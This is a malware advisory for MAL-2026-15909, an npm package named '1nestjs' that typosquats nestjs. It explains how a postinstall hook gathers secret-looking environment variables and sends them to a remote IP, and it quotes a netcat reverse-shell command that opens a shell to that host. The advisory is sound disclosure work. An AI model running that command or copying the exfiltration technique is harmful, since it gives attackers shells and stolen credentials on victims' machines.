MAL-2026-15909 Malicious code in 1nestjs (npm)
- Package
- 1nestjs
- Registry
- npm
What is MAL-2026-15909?
MAL-2026-15909 is a malicious package in 1nestjs, published on 3 Sep 2026.
Official description
Package name typosquats nestjs and declares postinstall: node index.js in package.json, so index.js runs automatically during npm install. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes nc -e /bin/sh 84.32.22.44 9999, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot").
The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
What should I do about MAL-2026-15909?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.